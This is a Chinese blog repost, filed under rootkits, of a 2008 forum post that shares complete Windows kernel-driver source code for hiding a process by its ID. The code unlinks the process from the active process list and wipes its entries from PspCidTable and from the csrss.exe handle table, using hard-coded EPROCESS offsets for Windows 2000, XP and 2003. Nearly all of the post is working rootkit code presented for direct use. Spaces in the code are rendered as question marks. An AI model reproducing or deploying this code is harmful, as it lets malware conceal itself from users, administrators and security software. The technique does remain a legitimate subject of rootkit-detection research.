|
Posted on 2009-10-30 00:10 S.l.e!ep.¢% 閱讀(460) 評論(0) 編輯 收藏 引用 所屬分類: RootKit
標 題:
【原創】科普之三招隱藏進程
作 者:
cooldiyer
時 間: 2008-09-20,11:58 鏈 接: http://bbs.pediy.com/showthread.php?t=73129
先從活動進程鏈表中摘除?擦除PspCidTable中對應的Object?再擦除Csrss進程中那份表 擦除HandleTable表用了一些技巧,不用親自操作三層表,不是網上流傳的方法,具體請看代碼...... 使用的時候直接HideProcessById(HIDE_PID)就行了 偶這只菜鳥的學習總結,牛們不要BS,我會超過你們的.很快 ProcessHide.h 代碼: #ifndef?__PROCESSHIDE_H__
#define?__PROCESSHIDE_H__
#ifdef?__cplusplus
extern?"C"?{
#endif
#include?<ntddk.h>
/*
?使用之前請先調用InitializeCommonVariables初始化全局變量
*/
typedef?struct?_HANDLE_TABLE_ENTRY?{
??
????//
????//??The?pointer?to?the?object?overloaded?with?three?ob?attributes?bits?in
????//??the?lower?order?and?the?high?bit?to?denote?locked?or?unlocked?entries
????//
??
????union?{
????
????????PVOID?Object;
????
????????ULONG?ObAttributes;
????};
??
????//
????//??This?field?either?contains?the?granted?access?mask?for?the?handle?or?an
????//??ob?variation?that?also?stores?the?same?information.??Or?in?the?case?of
????//??a?free?entry?the?field?stores?the?index?for?the?next?free?entry?in?the
????//??free?list.??This?is?like?a?FAT?chain,?and?is?used?instead?of?pointers
????//??to?make?table?duplication?easier,?because?the?entries?can?just?be
????//??copied?without?needing?to?modify?pointers.
????//
??
????union?{
????
????????union?{
??????
????????????ACCESS_MASK?GrantedAccess;
??????
????????????struct?{
????????
????????????????USHORT?GrantedAccessIndex;
????????????????USHORT?CreatorBackTraceIndex;
????????????};
????????};
????
????????LONG?NextFreeTableEntry;
????};
??
}?HANDLE_TABLE_ENTRY,?*PHANDLE_TABLE_ENTRY;
typedef?struct?_HANDLE_TABLE?{
??
????//
????//??A?set?of?flags?used?to?denote?the?state?or?attributes?of?this
????//??particular?handle?table
????//
??
????ULONG?Flags;
??
????//
????//??The?number?of?handle?table?entries?in?use.
????//
??
????LONG?HandleCount;
??
????//
????//??A?pointer?to?the?top?level?handle?table?tree?node.
????//
??
????PHANDLE_TABLE_ENTRY?**Table;
??
????//
????//??The?process?who?is?being?charged?quota?for?this?handle?table?and?a
????//??unique?process?id?to?use?in?our?callbacks
????//
??
????struct?_EPROCESS?*QuotaProcess;
????HANDLE?UniqueProcessId;
??
????//
????//??This?is?a?singly?linked?list?of?free?table?entries.??We?don't?actually
????//??use?pointers,?but?have?each?store?the?index?of?the?next?free?entry
????//??in?the?list.??The?list?is?managed?as?a?lifo?list.??We?also?keep?track
????//??of?the?next?index?that?we?have?to?allocate?pool?to?hold.
????//
??
????LONG?FirstFreeTableEntry;
????LONG?NextIndexNeedingPool;
??
????//
????//??This?is?the?lock?used?to?protect?the?fields?in?the?record,?and?the
????//??handle?table?tree?in?general.??Individual?handle?table?entries?that?are
????//??not?free?have?their?own?lock
????//
??
????ERESOURCE?HandleTableLock;
??
????//
????//??The?list?of?global?handle?tables.??This?field?is?protected?by?a?global
????//??lock.
????//
??
????LIST_ENTRY?HandleTableList;
??
????//
????//??The?following?field?is?used?to?loosely?synchronize?thread?contention
????//??on?a?handle.??If?a?thread?wants?to?wait?for?a?handle?to?be?unlocked
????//??it?will?wait?on?this?event?with?a?short?timeout.??Any?handle?unlock
????//??operation?will?pulse?this?event?if?there?are?threads?waiting?on?it
????//
??
????KEVENT?HandleContentionEvent;
}?HANDLE_TABLE,?*PHANDLE_TABLE;??
typedef?BOOLEAN?(*EX_ENUMERATE_HANDLE_ROUTINE)(
??IN?PHANDLE_TABLE_ENTRY?HandleTableEntry,
??IN?HANDLE?Handle,
??IN?PVOID?EnumParameter
??);
typedef?BOOLEAN?(*__ExEnumHandleTable)(
??IN?PHANDLE_TABLE?HandleTable,
??IN?EX_ENUMERATE_HANDLE_ROUTINE?EnumHandleProcedure,
??IN?PVOID?EnumParameter,
??OUT?PHANDLE?Handle?OPTIONAL
??);
NTSTATUS
GetPspCidTable(
??OUT?PHANDLE_TABLE*?ppPspCidTable
??);
BOOLEAN
EnumHandleCallback(
??IN?PHANDLE_TABLE_ENTRY?HandleTableEntry,
??IN?HANDLE?Handle,
??IN?OUT?PVOID?EnumParameter
??);
NTSTATUS
EraseObjectFromHandleTable(
??PHANDLE_TABLE?pHandleTable,
??IN?HANDLE?ProcessId
??);
NTSTATUS
RemoveNodeFromActiveProcessLinks(
??IN?HANDLE?ProcessId
??);
NTSTATUS
HideProcessById(
??IN?HANDLE?ProcessId
??);
NTSTATUS
InitializeCommonVariables(
??);
NTSTATUS
GetProcessNameOffset(
??OUT?PULONG??Offset?OPTIONAL
??);
NTSTATUS
LookupProcessByName(
??IN?PCHAR?pcProcessName,
??OUT?PEPROCESS?*Process
??);
#ifdef?__cplusplus
}?//?extern?"C"
#endif
#endif?//?__PROCESSHIDE_H__
ProcessHide.c 代碼: #include?"ProcessHide.h"
#include?"LDasm.h"
ULONG????g_Offset_Eprocess_Name?=?NULL;
ULONG????g_Offset_Eprocess_Flink?=?NULL;
ULONG????g_Offset_Eprocess_ProcessId?=?NULL;
ULONG????g_Offset_Eprocess_HandleTable?=?NULL;
PEPROCESS??g_pEprocess_System?=?NULL;
NTSTATUS
GetPspCidTable(
??OUT?PHANDLE_TABLE*?ppPspCidTable
??)
??/*
??通過搜索PsLookupProcessByProcessId函數,獲取PspCidTable的地址
??*/
{
??NTSTATUS????status;
??PUCHAR??????cPtr;
??unsigned?char?*?pOpcode;
??ULONG??????Length;
??UNICODE_STRING??uniPsLookup;
??ULONG??????PsLookupProcessByProcessId;
??status?=?STATUS_NOT_FOUND;
??RtlInitUnicodeString(&uniPsLookup,?L"PsLookupProcessByProcessId");?
??PsLookupProcessByProcessId?=?MmGetSystemRoutineAddress(&uniPsLookup);?//MmGetSystemRoutineAddress可以通過函數名獲得函數地址
??for?(cPtr?=?(PUCHAR)PsLookupProcessByProcessId;
????cPtr?<?(PUCHAR)PsLookupProcessByProcessId?+?PAGE_SIZE;
????cPtr?+=?Length)
??{
????Length?=?SizeOfCode(cPtr,?&pOpcode);????//credit?to?LDasm.c?by?Ms-Rem
????if?(!Length)?break;
????if?(*(PUSHORT)cPtr?==?0x35FF?&&?*(pOpcode?+?6)?==?0xE8)
????{
??????*ppPspCidTable?=?**(PVOID?**)(pOpcode?+?2);
??????status?=?STATUS_SUCCESS;
??????break;
????}
??}
??return?status;
}
BOOLEAN
EnumHandleCallback(
??IN?PHANDLE_TABLE_ENTRY?HandleTableEntry,
??IN?HANDLE?Handle,
??IN?OUT?PVOID?EnumParameter
??)
{
??if?(ARGUMENT_PRESENT(EnumParameter)?&&?*(HANDLE?*)EnumParameter?==?Handle)
??{
????*(PHANDLE_TABLE_ENTRY?*)EnumParameter?=?HandleTableEntry;
????return?TRUE;
??}
??return?FALSE;
}
//?修改一下,可以傳遞要擦除的ID做參數
NTSTATUS
EraseObjectFromHandleTable(
??PHANDLE_TABLE?pHandleTable,
??IN?HANDLE?ProcessId
??)
{
??NTSTATUS????status;
????
??PVOID??????EnumParameter;
??UNICODE_STRING??uniExEnumHandleTable;
??__ExEnumHandleTable??ExEnumHandleTable;
??status?=?STATUS_NOT_FOUND;
??EnumParameter?=?ProcessId;
??RtlInitUnicodeString(&uniExEnumHandleTable,?L"ExEnumHandleTable");
??ExEnumHandleTable?=?MmGetSystemRoutineAddress(&uniExEnumHandleTable);
??if?(NULL?==?ExEnumHandleTable)
??{
????return?STATUS_NOT_FOUND;
??}
??//?Enum后可以擦除,Callback過程中不能擦除
??if?(ExEnumHandleTable(pHandleTable,?EnumHandleCallback,?&EnumParameter,?NULL))
??{
????InterlockedExchangePointer(&((PHANDLE_TABLE_ENTRY)EnumParameter)->Object,?NULL);
????status?=?STATUS_SUCCESS;
??}
??return?status;
}
NTSTATUS
RemoveNodeFromActiveProcessLinks(
??IN?HANDLE?ProcessId
??)
{
??NTSTATUS??status;
??PLIST_ENTRY??pListEntry;
??PEPROCESS??pEprocess;
??status?=?PsLookupProcessByProcessId(ProcessId,?&pEprocess);
??if?(!NT_SUCCESS(status))
??{
????return?status;
??}
??ObDereferenceObject(pEprocess);
??pListEntry?=?(ULONG)pEprocess?+?g_Offset_Eprocess_Flink;
??//?從鏈表中摘除
??pListEntry->Blink->Flink?=?pListEntry->Flink;
??pListEntry->Flink->Blink?=?pListEntry->Blink;
??return?status;
}
NTSTATUS
HideProcessById(
??IN?HANDLE?ProcessId
??)
{
??NTSTATUS????status;
??PHANDLE_TABLE??pPspCidTable;
??PEPROCESS????pCsrssEprocess?=?NULL;
??if?(NULL?==?g_Offset_Eprocess_HandleTable)
??{
????status?=?InitializeCommonVariables();
????if?(!NT_SUCCESS(status))
????{
??????return?status;
????}
??}
??status?=?GetPspCidTable(&pPspCidTable);
??if?(!NT_SUCCESS(status))
??{
????return?status;
??}
??status?=?LookupProcessByName("CSRSS.EXE\0",?&pCsrssEprocess);
??if?(!NT_SUCCESS(status))
??{
????return?status;
??}
??//?先從活動進程鏈表中摘除
??status?=?RemoveNodeFromActiveProcessLinks(ProcessId);
??//?擦除PspCidTable中對應的Object
??status?=?EraseObjectFromHandleTable(pPspCidTable,?ProcessId);
??//?擦除Csrss進程中那份表
??status?=?EraseObjectFromHandleTable(*(PULONG)((ULONG)pCsrssEprocess?+?g_Offset_Eprocess_HandleTable),?ProcessId);
??return?status;
}
NTSTATUS
LookupProcessByName(
??IN?PCHAR?pcProcessName,
??OUT?PEPROCESS?*pEprocess
??)
{?
??NTSTATUS??status;
??ULONG????uCurrentProcessId?=?0;
??ULONG????uStartProcessId?=?0;?
??ULONG????uCount?=?0;
??ULONG????uLength?=?0;
??PLIST_ENTRY??pListActiveProcess;
??PEPROCESS??pCurrentEprocess?=?NULL;
??
??if?(!ARGUMENT_PRESENT(pcProcessName)?||?!ARGUMENT_PRESENT(pEprocess))
??{
????return?STATUS_INVALID_PARAMETER;
??}
??uLength?=?strlen(pcProcessName);
??pCurrentEprocess?=?g_pEprocess_System;
??uStartProcessId?=?*((PULONG)((ULONG)pCurrentEprocess?+?g_Offset_Eprocess_ProcessId));
??uCurrentProcessId?=?uStartProcessId;
??while(1)
??{
????if(_strnicmp(pcProcessName,?(PVOID)((ULONG)pCurrentEprocess?+?g_Offset_Eprocess_Name),?uLength)?==?0)
????{
??????*pEprocess?=?pCurrentEprocess;
??????status?=?STATUS_SUCCESS;
??????break;
????}
????else?if?((uCount?>=?1)?&&?(uStartProcessId?==?uCurrentProcessId))
????{
??????*pEprocess?=?0x00000000;
??????status?=?STATUS_NOT_FOUND;
??????break;
????}
????else?
????{
??????pListActiveProcess?=?(LIST_ENTRY?*)((ULONG)pCurrentEprocess?+?g_Offset_Eprocess_Flink);
??????(ULONG)pCurrentEprocess?=?(ULONG)pListActiveProcess->Flink;
??????(ULONG)pCurrentEprocess?=?(ULONG)pCurrentEprocess?-?g_Offset_Eprocess_Flink;
??????uCurrentProcessId?=?*(PULONG)((ULONG)pCurrentEprocess?+?g_Offset_Eprocess_ProcessId);
??????uCount++;
????}
??}
??return?status;
}
NTSTATUS
GetProcessNameOffset(
??OUT?PULONG??Offset?OPTIONAL
??)
???????????/*
???????????在DriverEntry中調用
???????????*/
{
??NTSTATUS??status;
??PEPROCESS??curproc;
??ULONG??????i;
??if?(!MmIsAddressValid((PVOID)Offset))
??{
????status?=?STATUS_INVALID_PARAMETER;
????return?status;
??}
??curproc?=?PsGetCurrentProcess();
??//
??//?然后搜索KPEB,得到ProcessName相對KPEB的偏移量
??//?偏移174h的位置,這里存的是進程的短文件名,少數地方用,
??//?比如SoftIce的addr和proc命令,如果名稱超過16個字符直接截斷
??//?Scan?for?12KB,?hopping?the?KPEB?never?grows?that?big!
??//
??for(?i?=?0;?i?<?3?*?PAGE_SIZE;?i++?)?{
????if(!strncmp(?"System",?(PCHAR)?curproc?+?i,?strlen("System")))?{
??????*Offset?=?i;
??????status?=?STATUS_SUCCESS;
??????break;
????}
??}
??return?status;
}
NTSTATUS
InitializeCommonVariables(
??)
{
??NTSTATUS??status;
??ULONG??uMajorVersion;
??ULONG??uMinorVersion;
??status?=?GetProcessNameOffset(&g_Offset_Eprocess_Name);
??if?(!NT_SUCCESS(status))
??{
????return?status;
??}
??g_pEprocess_System?=?PsGetCurrentProcess();
??PsGetVersion(&uMajorVersion,?&uMinorVersion,?NULL,?NULL);
??if?(uMajorVersion?==?4?&&?uMinorVersion?==?0)
??{
????g_Offset_Eprocess_Flink?=?152;
????//?Stop?supporting?NT?4.0
????return?STATUS_UNSUCCESSFUL;
??}
??else?if?(uMajorVersion?==?5?&&?uMinorVersion?==?0)
??{
????g_Offset_Eprocess_ProcessId?=?156;
????g_Offset_Eprocess_Flink?=?160;
????g_Offset_Eprocess_HandleTable?=?0x128;
??}
??else?if?(uMajorVersion?==?5?&&?uMinorVersion?==?1)
??{
????g_Offset_Eprocess_ProcessId?=?132;
????g_Offset_Eprocess_Flink?=?136;
????g_Offset_Eprocess_HandleTable?=?0xC4;
??}
??else?if?(uMajorVersion?==?5?&&?uMinorVersion?==?2)
??{
????g_Offset_Eprocess_ProcessId?=?132;
????g_Offset_Eprocess_Flink?=?136;
????g_Offset_Eprocess_HandleTable?=?0xC4;
??}
??return?STATUS_SUCCESS;
}
|